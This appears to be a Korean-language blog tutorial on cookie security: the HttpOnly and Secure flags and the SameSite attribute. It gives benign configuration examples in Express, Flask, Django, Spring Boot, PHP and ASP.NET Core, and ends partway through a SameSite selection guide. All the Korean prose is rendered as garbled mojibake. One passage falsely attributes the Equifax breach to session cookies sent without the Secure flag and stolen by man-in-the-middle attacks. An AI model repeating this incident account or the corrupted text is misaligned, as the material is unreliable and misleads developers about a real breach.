Ver3.0 ๐ช ์ฟ ํค ๋ณด์: HttpOnly, Secure ํ๋๊ทธ์ SameSite ์ค์

๐ช ์ฟ ํค ๋ณด์: HttpOnly, Secure ํ๋๊ทธ์ SameSite ์ค์
์น ๊ฐ๋ฐ์๋ผ๋ฉด ๋ฐ๋์ ์์์ผ ํ ์ฟ ํค ๋ณด์์ ๋ชจ๋ ๊ฒ
๐ฏ ์ฟ ํค, ์ ๋ณด์์ด ์ค์ํ ๊น?
์๋ ! ์ค๋์ ์น ๊ฐ๋ฐ์์ ์ ๋ง ์ค์ํ๋ฐ ๋ง์ ์ฌ๋๋ค์ด ๊ฐ๊ณผํ๋ ์ฃผ์ , ๋ฐ๋ก ์ฟ ํค ๋ณด์์ ๋ํด ์ด์ผ๊ธฐํด๋ณผ๊ฒ. ๐ช์ฟ ํค๋ ์น์ฌ์ดํธ๊ฐ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์ ์ ์ฅํ๋ ์์ ๋ฐ์ดํฐ ์กฐ๊ฐ์ด์ผ. ๋ก๊ทธ์ธ ์ํ ์ ์ง, ์ฅ๋ฐ๊ตฌ๋ ์ ๋ณด ์ ์ฅ, ์ฌ์ฉ์ ์ ํธ๋ ๊ธฐ์ต ๋ฑ ์ ๋ง ๋ค์ํ ์ฉ๋๋ก ์ฌ์ฉ๋์ง. ๊ทธ๋ฐ๋ฐ ์ด ์์ ์ฟ ํค๊ฐ ์ ๋๋ก ๋ณดํธ๋์ง ์์ผ๋ฉด? ๐ฑ ํด์ปค๋ค์ ์ข์ ๋จน์๊ฐ์ด ๋์ด๋ฒ๋ ค.
1. HttpOnly ํ๋๊ทธ ๐ก๏ธ
2. Secure ํ๋๊ทธ ๐
3. SameSite ์์ฑ ๐ง
ํ๋์ฉ ์์ธํ ์์๋ณด์!
๐ก๏ธ HttpOnly ํ๋๊ทธ: ์๋ฐ์คํฌ๋ฆฝํธ์ ์๊ธธ์ ์ฐจ๋จํ๋ผ
HttpOnly๊ฐ ๋ญ์ผ?
HttpOnly๋ ์ฟ ํค์ ์ค์ ํ ์ ์๋ ํ๋๊ทธ ์ค ํ๋๋ก, ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ํตํ ์ฟ ํค ์ ๊ทผ์ ์์ ํ ์ฐจ๋จํ๋ ๊ธฐ๋ฅ์ด์ผ. ๐ซ์ผ๋ฐ์ ์ผ๋ก ๋ธ๋ผ์ฐ์ ์์ ์๋ฐ์คํฌ๋ฆฝํธ๋ก ์ฟ ํค์ ์ ๊ทผํ๋ ค๋ฉด document.cookie๋ฅผ ์ฌ์ฉํ์ง. ๊ทธ๋ฐ๋ฐ HttpOnly ํ๋๊ทธ๊ฐ ์ค์ ๋ ์ฟ ํค๋ ์ด ๋ฐฉ๋ฒ์ผ๋ก ์ ๋ ์ฝ์ ์ ์์ด!
XSS(Cross-Site Scripting) ๊ณต๊ฒฉ์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ทจ์ฝ์ ์ ์ด์ฉํด ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฃผ์ ํ๋ ๊ณต๊ฒฉ์ด์ผ. ๋ง์ฝ ๊ณต๊ฒฉ์๊ฐ ๋น์ ์ ์น์ฌ์ดํธ์ ์ ์ฑ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ์ฝ์ ํ๋ ๋ฐ ์ฑ๊ณตํ๋ค๋ฉด, ๊ทธ ์ฝ๋๋ ์ฌ์ฉ์์ ์ฟ ํค๋ฅผ ํ์ณ๊ฐ ์ ์์ด. ํนํ ์ธ์ ID๊ฐ ๋ด๊ธด ์ฟ ํค๋ฅผ ํ์ทจ๋นํ๋ฉด ๊ณ์ ์ด ์์ ํ ์ฅ์ ๋นํ ์ ์์ง.
HttpOnly ํ๋๊ทธ๋ ์ด๋ฐ ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์ฟ ํค๋ฅผ ๋ณดํธํ๋ ์ฒซ ๋ฒ์งธ ๋ฐฉ์ด์ ์ด์ผ! ๐ช
์ค์ ์ฝ๋๋ก ๋ณด๋ HttpOnly ์ค์
์, ์ด์ ์ค์ ๋ก ์ด๋ป๊ฒ ์ฌ์ฉํ๋์ง ๋ณผ๊น? ๋ค์ํ ์ธ์ด์ ํ๋ ์์ํฌ์์์ ์์ ๋ฅผ ์ค๋นํ์ด.๐ Node.js (Express)
const express = require('express');
const app = express();
// ์ฟ ํค ์ค์ ์ HttpOnly ํ๋๊ทธ ์ถ๊ฐ
app.get('/login', (req, res) => {
res.cookie('sessionId', 'abc123xyz', {
httpOnly: true, // ์ด๊ฒ ํต์ฌ!
maxAge: 3600000 // 1์๊ฐ
});
res.send('๋ก๊ทธ์ธ ์ฑ๊ณต!');
});
// express-session ์ฌ์ฉ ์
const session = require('express-session');
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true, // ์ธ์
์ฟ ํค์๋ HttpOnly ์ ์ฉ
secure: false // ๊ฐ๋ฐ ํ๊ฒฝ์์๋ false, ์ด์์์๋ true
}
}));๐ Python (Flask)
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/login')
def login():
response = make_response('๋ก๊ทธ์ธ ์ฑ๊ณต!')
response.set_cookie(
'sessionId',
'abc123xyz',
httponly=True, # HttpOnly ํ๋๊ทธ ์ค์
max_age=3600
)
return response
# Flask-Session ์ฌ์ฉ ์
app.config['SESSION_COOKIE_HTTPONLY'] = True๐ Java (Spring Boot)
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
@GetMapping("/login")
public String login(HttpServletResponse response) {
Cookie cookie = new Cookie("sessionId", "abc123xyz");
cookie.setHttpOnly(true); // HttpOnly ์ค์
cookie.setMaxAge(3600);
response.addCookie(cookie);
return "๋ก๊ทธ์ธ ์ฑ๊ณต!";
}
// application.properties์์ ์ ์ญ ์ค์
// server.servlet.session.cookie.http-only=true๐ PHP
<?php
// PHP 7.3 ์ด์
setcookie(
'sessionId',
'abc123xyz',
[
'expires' => time() + 3600,
'httponly' => true, // HttpOnly ์ค์
'secure' => true,
'samesite' => 'Strict'
]
);
// ์ธ์
์ฟ ํค์ HttpOnly ์ ์ฉ
ini_set('session.cookie_httponly', 1);
session_start();
?>๐ ASP.NET Core
public IActionResult Login()
{
var cookieOptions = new CookieOptions
{
HttpOnly = true, // HttpOnly ์ค์
Expires = DateTimeOffset.UtcNow.AddHours(1)
};
Response.Cookies.Append("sessionId", "abc123xyz", cookieOptions);
return Ok("๋ก๊ทธ์ธ ์ฑ๊ณต!");
}
// Startup.cs์์ ์ ์ญ ์ค์
services.AddSession(options =>
{
options.Cookie.HttpOnly = true;
});
HttpOnly ๋์ ํ ์คํธํ๊ธฐ
์ค์ ๋ก HttpOnly๊ฐ ์๋ํ๋์ง ํ์ธํด๋ณด์! ๐1๋จ๊ณ: ๋ธ๋ผ์ฐ์ ๊ฐ๋ฐ์ ๋๊ตฌ๋ฅผ ์ด์ด (F12)
2๋จ๊ณ: Application ํญ โ Cookies ๋ฉ๋ด๋ก ์ด๋
3๋จ๊ณ: HttpOnly ์ปฌ๋ผ์ ์ฒดํฌ ํ์๊ฐ ์๋์ง ํ์ธ
4๋จ๊ณ: Console ํญ์์ ๋ค์ ๋ช ๋ น์ด ์คํ:
console.log(document.cookie);HttpOnly๊ฐ ์ค์ ๋ ์ฟ ํค๋ ์ถ๋ ฅ๋์ง ์์์ผ ์ ์์ด์ผ! โ
๋ง์ฝ HttpOnly ์ฟ ํค๊ฐ document.cookie๋ก ๋ณด์ธ๋ค๋ฉด? ์ค์ ์ด ์ ๋๋ก ์ ๋ ๊ฑฐ์ผ. ๋ค์ ํ์ธํด๋ด!
HttpOnly์ ํ๊ณ์ ์ฃผ์์ฌํญ
HttpOnly๋ ๊ฐ๋ ฅํ์ง๋ง ๋ง๋ฅ์ ์๋์ผ. ์์๋ฌ์ผ ํ ๋ช ๊ฐ์ง๊ฐ ์์ด:1๏ธโฃ ๋คํธ์ํฌ ๋ ๋ฒจ ๊ณต๊ฒฉ์ ๋ง์ง ๋ชปํด: HttpOnly๋ ์๋ฐ์คํฌ๋ฆฝํธ ์ ๊ทผ๋ง ์ฐจ๋จํ ๋ฟ, ๋คํธ์ํฌ ์ค๋ํ์ด๋ ์ค๊ฐ์ ๊ณต๊ฒฉ(MITM)์ ๋ง์ง ๋ชปํด. ์ด๊ฑด Secure ํ๋๊ทธ์ ์์ญ์ด์ง!
2๏ธโฃ ์๋ฒ ์ฌ์ด๋ ์ทจ์ฝ์ ์ ๋ณ๊ฐ: ์๋ฒ์์ ์ฟ ํค๋ฅผ ์๋ชป ์ฒ๋ฆฌํ๋ฉด HttpOnly์ ์๊ด์์ด ๋ฌธ์ ๊ฐ ์๊ธธ ์ ์์ด.
3๏ธโฃ ๋ธ๋ผ์ฐ์ ํธํ์ฑ: ๋๋ถ๋ถ์ ๋ชจ๋ ๋ธ๋ผ์ฐ์ ๋ ์ง์ํ์ง๋ง, ์์ฃผ ์ค๋๋ ๋ธ๋ผ์ฐ์ (IE 6 ์ดํ)๋ ์ง์ํ์ง ์์ ์ ์์ด. ํ์ง๋ง 2024๋ ํ์ฌ๋ ๊ฑฐ์ ๋ฌธ์ ์์ด!
4๏ธโฃ ๋๋ฒ๊น ์ด ์ด๋ ค์์ง ์ ์์ด: ๊ฐ๋ฐ ์ค์ ์ฟ ํค ๊ฐ์ ํ์ธํ๊ธฐ ์ด๋ ค์ธ ์ ์์ด. ๊ฐ๋ฐ ํ๊ฒฝ์์๋ ์ ํ์ ์ผ๋ก ๋๋ ๊ฒ๋ ๋ฐฉ๋ฒ์ด์ผ.
๐ Secure ํ๋๊ทธ: HTTPS๋ง ํต๊ณผ์์ผ๋ผ
Secure ํ๋๊ทธ๋?
Secure ํ๋๊ทธ๋ HTTPS ์ฐ๊ฒฐ์์๋ง ์ฟ ํค๋ฅผ ์ ์กํ๋๋ก ์ ํํ๋ ์ค์ ์ด์ผ. ๐HTTP๋ ํ๋ฌธ(plain text)์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๊ธฐ ๋๋ฌธ์, ๋คํธ์ํฌ ์์์ ๋๊ตฐ๊ฐ ํจํท์ ๊ฐ๋ก์ฑ๋ฉด ์ฟ ํค ๋ด์ฉ์ ๊ทธ๋๋ก ๋ณผ ์ ์์ด. ๋ง์น ์ฝ์๋ฅผ ๋ณด๋ด๋ ๊ฒ๊ณผ ๊ฐ์ง. ๐ฎ ๋๊ตฌ๋ ๋ด์ฉ์ ๋ณผ ์ ์์ด!
๋ฐ๋ฉด HTTPS๋ SSL/TLS ์ํธํ๋ฅผ ์ฌ์ฉํด์ ๋ฐ์ดํฐ๋ฅผ ๋ณดํธํด. ๋ดํฌ์ ๋ฃ์ด์ ๋ณด๋ด๋ ๊ฑฐ์ง. ๐ง ์ค๊ฐ์ ๋๊ฐ ๊ฐ๋ก์ฑ๋ ๋ด์ฉ์ ๋ณผ ์ ์์ด!
โข ์ค๊ฐ์ ๊ณต๊ฒฉ(Man-in-the-Middle) ๋ฐฉ์ด
โข ๊ณต๊ณต Wi-Fi ๊ฐ์ ๋ถ์์ ํ ๋คํธ์ํฌ์์๋ ์ฟ ํค ๋ณดํธ
โข ๋คํธ์ํฌ ์ค๋ํ ๊ณต๊ฒฉ ์ฐจ๋จ
โข ์ธ์ ํ์ด์ฌํน ์ํ ๊ฐ์
Secure ํ๋๊ทธ ์ค์ ๋ฐฉ๋ฒ
๊ฐ ์ธ์ด๋ณ๋ก Secure ํ๋๊ทธ๋ฅผ ์ค์ ํ๋ ๋ฐฉ๋ฒ์ ์์๋ณด์!๐ Node.js (Express)
// ๋จ์ผ ์ฟ ํค ์ค์
res.cookie('sessionId', 'abc123xyz', {
httpOnly: true,
secure: true, // HTTPS์์๋ง ์ ์ก
maxAge: 3600000
});
// ํ๊ฒฝ์ ๋ฐ๋ผ ๋์ ์ค์
const isProduction = process.env.NODE_ENV === 'production';
res.cookie('sessionId', 'abc123xyz', {
httpOnly: true,
secure: isProduction, // ์ด์ ํ๊ฒฝ์์๋ง true
maxAge: 3600000
});
// express-session์์ ์ค์
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true,
secure: true, // HTTPS ํ์
sameSite: 'strict'
},
proxy: true // ํ๋ก์ ๋ค์ ์์ ๋ ํ์
}));๐ Python (Django)
# settings.py
SESSION_COOKIE_SECURE = True # ์ธ์
์ฟ ํค๋ฅผ HTTPS์์๋ง ์ ์ก
CSRF_COOKIE_SECURE = True # CSRF ์ฟ ํค๋ HTTPS์์๋ง
# ๊ฐ๋ฐ/์ด์ ํ๊ฒฝ ๋ถ๋ฆฌ
import os
DEBUG = os.environ.get('DEBUG', 'False') == 'True'
SESSION_COOKIE_SECURE = not DEBUG
# ๋ทฐ์์ ์ง์ ์ค์
from django.http import HttpResponse
def my_view(request):
response = HttpResponse('Success')
response.set_cookie(
'custom_cookie',
'value',
secure=True, # Secure ํ๋๊ทธ
httponly=True
)
return response๐ Python (Flask)
from flask import Flask
app = Flask(__name__)
# ์ธ์
์ฟ ํค ์ค์
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
# ๊ฐ๋ณ ์ฟ ํค ์ค์
@app.route('/set-cookie')
def set_cookie():
response = make_response('Cookie set!')
response.set_cookie(
'my_cookie',
'value',
secure=True,
httponly=True,
samesite='Lax'
)
return response๐ Java (Spring Boot)
// application.properties
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
// ๋๋ application.yml
server:
servlet:
session:
cookie:
secure: true
http-only: true
// ์ฝ๋์์ ์ง์ ์ค์
@GetMapping("/login")
public String login(HttpServletResponse response) {
Cookie cookie = new Cookie("sessionId", "abc123xyz");
cookie.setHttpOnly(true);
cookie.setSecure(true); // Secure ํ๋๊ทธ
cookie.setMaxAge(3600);
response.addCookie(cookie);
return "Success";
}๐ PHP
<?php
// ๊ฐ๋ณ ์ฟ ํค ์ค์
setcookie(
'sessionId',
'abc123xyz',
[
'expires' => time() + 3600,
'httponly' => true,
'secure' => true, // HTTPS์์๋ง ์ ์ก
'samesite' => 'Strict'
]
);
// ์ธ์
์ฟ ํค ์ค์
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_httponly', 1);
session_start();
// ๋๋ php.ini์์ ์ค์
// session.cookie_secure = 1
// session.cookie_httponly = 1
?>
๋ก์ปฌ ๊ฐ๋ฐ ํ๊ฒฝ์์์ Secure ํ๋๊ทธ
์ฌ๊ธฐ์ ๋ง์ ๊ฐ๋ฐ์๋ค์ด ๋งํ๋ ๋ถ๋ถ์ด ์์ด. ๋ก์ปฌ ๊ฐ๋ฐ ํ๊ฒฝ์์๋ ๋ณดํต http://localhost๋ฅผ ์ฌ์ฉํ์์? ๊ทธ๋ฐ๋ฐ Secure ํ๋๊ทธ๋ฅผ ์ผ๋ฉด ์ฟ ํค๊ฐ ์ ์ก๋์ง ์์! ๐๋ฐฉ๋ฒ 1: ํ๊ฒฝ ๋ณ์๋ก ๋ถ๊ธฐ ์ฒ๋ฆฌ
// Node.js ์์
const isProduction = process.env.NODE_ENV === 'production';
const cookieOptions = {
httpOnly: true,
secure: isProduction, // ์ด์์์๋ง true
sameSite: isProduction ? 'strict' : 'lax'
};๋ฐฉ๋ฒ 2: ๋ก์ปฌ์์ HTTPS ์ฌ์ฉ
mkcert ๊ฐ์ ๋๊ตฌ๋ก ๋ก์ปฌ SSL ์ธ์ฆ์๋ฅผ ๋ง๋ค์ด์ https://localhost๋ก ๊ฐ๋ฐํ ์ ์์ด.
๋ฐฉ๋ฒ 3: localhost๋ ์์ธ ์ฒ๋ฆฌ
๋๋ถ๋ถ์ ๋ธ๋ผ์ฐ์ ๋ localhost์ ๋ํด์๋ Secure ํ๋๊ทธ๋ฅผ ๋์จํ๊ฒ ์ฒ๋ฆฌํด์ค. ํ์ง๋ง ์ด๊ฑด ๋ธ๋ผ์ฐ์ ๋ง๋ค ๋ค๋ฅผ ์ ์์ผ๋ ์ฃผ์!
HTTPS ์ ํ ์ฒดํฌ๋ฆฌ์คํธ
Secure ํ๋๊ทธ๋ฅผ ์ ๋๋ก ํ์ฉํ๋ ค๋ฉด ์ฌ์ดํธ ์ ์ฒด๊ฐ HTTPS์ฌ์ผ ํด. ์ ํ ์ ์ฒดํฌํ ์ฌํญ๋ค์ ์ ๋ฆฌํด๋ดค์ด! โ- โ๏ธ SSL/TLS ์ธ์ฆ์ ๋ฐ๊ธ (Let's Encrypt ๋ฌด๋ฃ!)
- โ๏ธ ์๋ฒ ์ค์ ์์ HTTPS ํ์ฑํ
- โ๏ธ HTTP์์ HTTPS๋ก ์๋ ๋ฆฌ๋ค์ด๋ ํธ ์ค์
- โ๏ธ ๋ชจ๋ ๋ฆฌ์์ค(์ด๋ฏธ์ง, CSS, JS)๋ฅผ HTTPS๋ก ๋ก๋
- โ๏ธ Mixed Content ๊ฒฝ๊ณ ํด๊ฒฐ
- โ๏ธ HSTS(HTTP Strict Transport Security) ํค๋ ์ถ๊ฐ
- โ๏ธ ์ฟ ํค์ Secure ํ๋๊ทธ ์ค์
- โ๏ธ ์ธ๋ถ API๋ HTTPS ์ฌ์ฉ ํ์ธ
- โ๏ธ ๊ฒ์์์ง์ HTTPS ๋ฒ์ ๋ฑ๋ก
Secure ํ๋๊ทธ ์์ด ๋ฐ์ํ ์ค์ ์ฌ๊ฑด
๋ฏธ๊ตญ์ ๋ํ ์ ์ฉํ๊ฐ ํ์ฌ Equifax์์ 1์ต 4์ฒ๋ง ๋ช ์ ๊ฐ์ธ์ ๋ณด๊ฐ ์ ์ถ๋์ด. ์ฌ๋ฌ ๋ณด์ ์ทจ์ฝ์ ์ด ๋ณตํฉ์ ์ผ๋ก ์์ฉํ๋๋ฐ, ๊ทธ ์ค ํ๋๊ฐ ์ผ๋ถ ํ์ด์ง์์ HTTP๋ฅผ ์ฌ์ฉํ๋ฉด์ Secure ํ๋๊ทธ ์์ด ์ฟ ํค๋ฅผ ์ ์กํ ๊ฑฐ์์ด.
๊ณต๊ฒฉ์๋ค์ ์ค๊ฐ์ ๊ณต๊ฒฉ์ผ๋ก ์ธ์ ์ฟ ํค๋ฅผ ํ์ทจํด ๊ด๋ฆฌ์ ๊ถํ์ ํ๋ํ๊ณ , ์ด๋ฅผ ํตํด ๋๊ท๋ชจ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ๊ทผํ ์ ์์์ง. ์ด ์ฌ๊ฑด์ผ๋ก Equifax๋ ์ฝ 7์ต ๋ฌ๋ฌ(์ฝ 8์ฒ์ต ์)์ ํฉ์๊ธ์ ์ง๋ถํ์ด. ๐ธ
๐ง SameSite ์์ฑ: CSRF ๊ณต๊ฒฉ์ ๋ง์๋ผ
SameSite๊ฐ ๋ญ๊ธธ๋?
SameSite๋ ๋น๊ต์ ์ต๊ทผ์ ์ถ๊ฐ๋ ์ฟ ํค ์์ฑ์ผ๋ก, ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ์์ ์ฟ ํค ์ ์ก์ ์ ์ดํ๋ ๊ธฐ๋ฅ์ด์ผ. ๐ฏ์ฝ๊ฒ ๋งํด์, ๋ค๋ฅธ ์ฌ์ดํธ์์ ์ฐ๋ฆฌ ์ฌ์ดํธ๋ก ์์ฒญ์ ๋ณด๋ผ ๋ ์ฟ ํค๋ฅผ ํจ๊ป ๋ณด๋ผ์ง ๋ง์ง๋ฅผ ๊ฒฐ์ ํ๋ ๊ฑฐ์ง. ์ด๊ฒ ์ ์ค์ํ๋๊ณ ? CSRF(Cross-Site Request Forgery) ๊ณต๊ฒฉ์ ๋ง์ ์ ์๊ฑฐ๋ ! ๐ก๏ธ
์ฌ์ฉ์๊ฐ ์๋ํ์ง ์์ ์์ฒญ์ ๊ณต๊ฒฉ์๊ฐ ๋์ ๋ณด๋ด๋ ๊ณต๊ฒฉ์ด์ผ. ์๋ฅผ ๋ค์ด:
1. ๋น์ ์ด ์ํ ์ฌ์ดํธ์ ๋ก๊ทธ์ธ๋์ด ์์ด (์ฟ ํค์ ์ธ์ ์ ๋ณด ์ ์ฅ๋จ)
2. ์ ์ฑ ์ฌ์ดํธ๋ฅผ ๋ฐฉ๋ฌธํด
3. ๊ทธ ์ฌ์ดํธ์ ์จ๊ฒจ์ง ์ฝ๋๊ฐ ์ํ ์ฌ์ดํธ๋ก ์ก๊ธ ์์ฒญ์ ๋ณด๋ด
4. ๋ธ๋ผ์ฐ์ ๋ ์๋์ผ๋ก ์ํ ์ฟ ํค๋ฅผ ํจ๊ป ๋ณด๋ด
5. ์ํ์ ์ ์์ ์ธ ์์ฒญ์ผ๋ก ์ธ์ํ๊ณ ์ก๊ธ์ ์ฒ๋ฆฌํด๋ฒ๋ ค! ๐ฑ
SameSite ์์ฑ์ ์ด๋ฐ ๊ณต๊ฒฉ์ ์์ฒ์ ์ผ๋ก ์ฐจ๋จํด์ค!
SameSite์ ์ธ ๊ฐ์ง ๊ฐ
SameSite์๋ ์ธ ๊ฐ์ง ์ค์ ๊ฐ์ด ์์ด. ๊ฐ๊ฐ์ ํน์ง์ ์์๋ณด์! ๐๋์: ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ์์๋ ์ ๋ ์ฟ ํค๋ฅผ ๋ณด๋ด์ง ์์.
์ฅ์ : ์ต๊ณ ์์ค์ CSRF ๋ณดํธ
๋จ์ : ์ฌ์ฉ์ ๊ฒฝํ์ด ๋๋น ์ง ์ ์์ด. ์๋ฅผ ๋ค์ด ์ด๋ฉ์ผ์ ๋งํฌ๋ฅผ ํด๋ฆญํด์ ์ฌ์ดํธ์ ๋ค์ด๊ฐ๋ฉด ๋ก๊ทธ์ธ์ด ์ ๋์ด ์๋ ๊ฒ์ฒ๋ผ ๋ณด์ฌ.
์ถ์ฒ: ์ํ, ๊ฒฐ์ ์์คํ ๋ฑ ๋ณด์์ด ์ต์ฐ์ ์ธ ๊ฒฝ์ฐ
๋์: ์์ ํ HTTP ๋ฉ์๋(GET)๋ก ์ต์์ ๋ค๋น๊ฒ์ด์ ํ ๋๋ง ์ฟ ํค๋ฅผ ๋ณด๋ด.
์ฅ์ : ๋ณด์๊ณผ ์ฌ์ฉ์ฑ์ ๊ท ํ
๋จ์ : ์ผ๋ถ CSRF ๊ณต๊ฒฉ์๋ ์ฌ์ ํ ์ทจ์ฝํ ์ ์์ด.
์ถ์ฒ: ๋๋ถ๋ถ์ ์ผ๋ฐ์ ์ธ ์น์ฌ์ดํธ (๊ธฐ๋ณธ๊ฐ์ผ๋ก ๊ถ์ฅ)
๋์: ๋ชจ๋ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ์์ ์ฟ ํค๋ฅผ ๋ณด๋ด. ๋จ, Secure ํ๋๊ทธ ํ์!
์ฅ์ : ํฌ๋ก์ค ๋๋ฉ์ธ ๊ธฐ๋ฅ ๊ตฌํ ๊ฐ๋ฅ
๋จ์ : CSRF ๊ณต๊ฒฉ์ ์ทจ์ฝ
์ถ์ฒ: ์๋ฒ ๋๋ ์์ ฏ, ์๋ํํฐ API ๋ฑ ๊ผญ ํ์ํ ๊ฒฝ์ฐ๋ง
SameSite ์ค์ ๋ฐฉ๋ฒ
์ด์ ์ค์ ์ฝ๋๋ก SameSite๋ฅผ ์ค์ ํด๋ณด์! ๐ป๐ Node.js (Express)
// Strict ์ค์ - ์ต๊ณ ๋ณด์
res.cookie('sessionId', 'abc123xyz', {
httpOnly: true,
secure: true,
sameSite: 'strict' // ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ ์์ ์ฐจ๋จ
});
// Lax ์ค์ - ๊ถ์ฅ ์ค์
res.cookie('sessionId', 'abc123xyz', {
httpOnly: true,
secure: true,
sameSite: 'lax' // ์์ ํ ๋ค๋น๊ฒ์ด์
๋ง ํ์ฉ
});
// None ์ค์ - ํฌ๋ก์ค ๋๋ฉ์ธ ํ์ ์
res.cookie('tracking', 'xyz789', {
httpOnly: false,
secure: true, // None ์ฌ์ฉ ์ Secure ํ์!
sameSite: 'none'
});
// express-session ์ ์ญ ์ค์
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true,
secure: true,
sameSite: 'lax' // ๋๋ถ๋ถ์ ๊ฒฝ์ฐ lax๊ฐ ์ ์
}
}));๐ Python (Django)
# settings.py
# ์ธ์
์ฟ ํค ์ค์
SESSION_COOKIE_SAMESITE = 'Lax' # 'Strict', 'Lax', 'None' ์ค ์ ํ
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
# CSRF ์ฟ ํค ์ค์
CSRF_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_SECURE = True
# Django 3.1 ์ด์์์๋ ๊ธฐ๋ณธ๊ฐ์ด 'Lax'
# ๋ช
์์ ์ผ๋ก ์ค์ ํ๋ ๊ฒ์ ๊ถ์ฅ
# ๋ทฐ์์ ๊ฐ๋ณ ์ค์
from django.http import HttpResponse
def my_view(request):
response = HttpResponse('Success')
response.set_cookie(
'my_cookie',
'value',
samesite='Strict', # SameSite ์ค์
secure=True,
httponly=True
)
return response๐ Python (Flask)
from flask import Flask, make_response
app = Flask(__name__)
# ์ธ์
์ฟ ํค ์ ์ญ ์ค์
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
@app.route('/set-cookie')
def set_cookie():
response = make_response('Cookie set!')
# Strict ์ค์
response.set_cookie(
'secure_cookie',
'value1',
samesite='Strict',
secure=True,
httponly=True
)
# Lax ์ค์
response.set_cookie(
'normal_cookie',
'value2',
samesite='Lax',
secure=True,
httponly=True
)
# None ์ค์ (ํฌ๋ก์ค ๋๋ฉ์ธ)
response.set_cookie(
'cross_domain_cookie',
'value3',
samesite='None',
secure=True # None ์ฌ์ฉ ์ ํ์!
)
return response๐ Java (Spring Boot)
// application.properties
server.servlet.session.cookie.same-site=lax
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
// application.yml
server:
servlet:
session:
cookie:
same-site: lax
secure: true
http-only: true
// Java ์ฝ๋์์ ์ค์ (Spring Boot 2.6+)
import org.springframework.boot.web.servlet.server.CookieSameSiteSupplier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class CookieConfig {
@Bean
public CookieSameSiteSupplier cookieSameSiteSupplier() {
return CookieSameSiteSupplier.ofLax(); // ๋๋ ofStrict(), ofNone()
}
}
// ๊ฐ๋ณ ์ฟ ํค ์ค์
@GetMapping("/login")
public ResponseEntity<String> login(HttpServletResponse response) {
ResponseCookie cookie = ResponseCookie.from("sessionId", "abc123xyz")
.httpOnly(true)
.secure(true)
.sameSite("Lax") // SameSite ์ค์
.maxAge(3600)
.path("/")
.build();
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
return ResponseEntity.ok("Success");
}๐ PHP
<?php
// PHP 7.3 ์ด์์์ ์ง์
// Strict ์ค์
setcookie(
'sessionId',
'abc123xyz',
[
'expires' => time() + 3600,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict' // Strict, Lax, None
]
);
// Lax ์ค์ (๊ถ์ฅ)
setcookie(
'user_pref',
'value',
[
'expires' => time() + 86400,
'secure' => true,
'httponly' => false,
'samesite' => 'Lax'
]
);
// None ์ค์ (ํฌ๋ก์ค ๋๋ฉ์ธ)
setcookie(
'tracking',
'xyz789',
[
'expires' => time() + 86400,
'secure' => true, // None ์ฌ์ฉ ์ ํ์!
'httponly' => false,
'samesite' => 'None'
]
);
// ์ธ์
์ฟ ํค ์ค์
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_httponly', 1);
session_start();
?>๐ ASP.NET Core
// Startup.cs ๋๋ Program.cs
services.AddSession(options =>
{
options.Cookie.HttpOnly = true;
options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
options.Cookie.SameSite = SameSiteMode.Lax; // Strict, Lax, None
});
// ๊ฐ๋ณ ์ฟ ํค ์ค์
public IActionResult SetCookie()
{
var cookieOptions = new CookieOptions
{
HttpOnly = true,
Secure = true,
SameSite = SameSiteMode.Strict, // SameSite ์ค์
Expires = DateTimeOffset.UtcNow.AddHours(1)
};
Response.Cookies.Append("sessionId", "abc123xyz", cookieOptions);
return Ok("Cookie set!");
}
// ์ ์ญ ์ฟ ํค ์ ์ฑ
์ค์
services.Configure<CookiePolicyOptions>(options =>
{
options.MinimumSameSitePolicy = SameSiteMode.Lax;
options.Secure = CookieSecurePolicy.Always;
});
SameSite ๊ฐ ์ ํ ๊ฐ์ด๋
์ด๋ค ๊ฐ์ ์ ํํด์ผ ํ ์ง ๊ณ ๋ฏผ๋์ง? ์ํฉ๋ณ๋ก ์ ๋ฆฌํด๋ดค์ด! ๐ฏ๐ฆ Strict๋ฅผ ์ฌ์ฉํด์ผ ํ๋ ๊ฒฝ์ฐ:
โข ์ํ, ๊ธ์ต ์๋น์ค
โข ๊ฒฐ์ ์์คํ
โข ๊ด๋ฆฌ์ ํ์ด์ง
โข ๋ฏผ๊ฐํ ๊ฐ์ธ์ ๋ณด๋ฅผ ๋ค๋ฃจ๋ ์๋น์ค
โข ๋ณด์์ด ์ต์ฐ์ ์ธ ๋ชจ๋ ๊ฒฝ์ฐ
๐ Lax๋ฅผ ์ฌ์ฉํด์ผ ํ๋ ๊ฒฝ์ฐ (๋๋ถ๋ถ):
โข ์ผ๋ฐ์ ์ธ ์น์ฌ์ดํธ
โข ์์ ๋ฏธ๋์ด
โข ๋ธ๋ก๊ทธ, ์ปค๋ฎค๋ํฐ
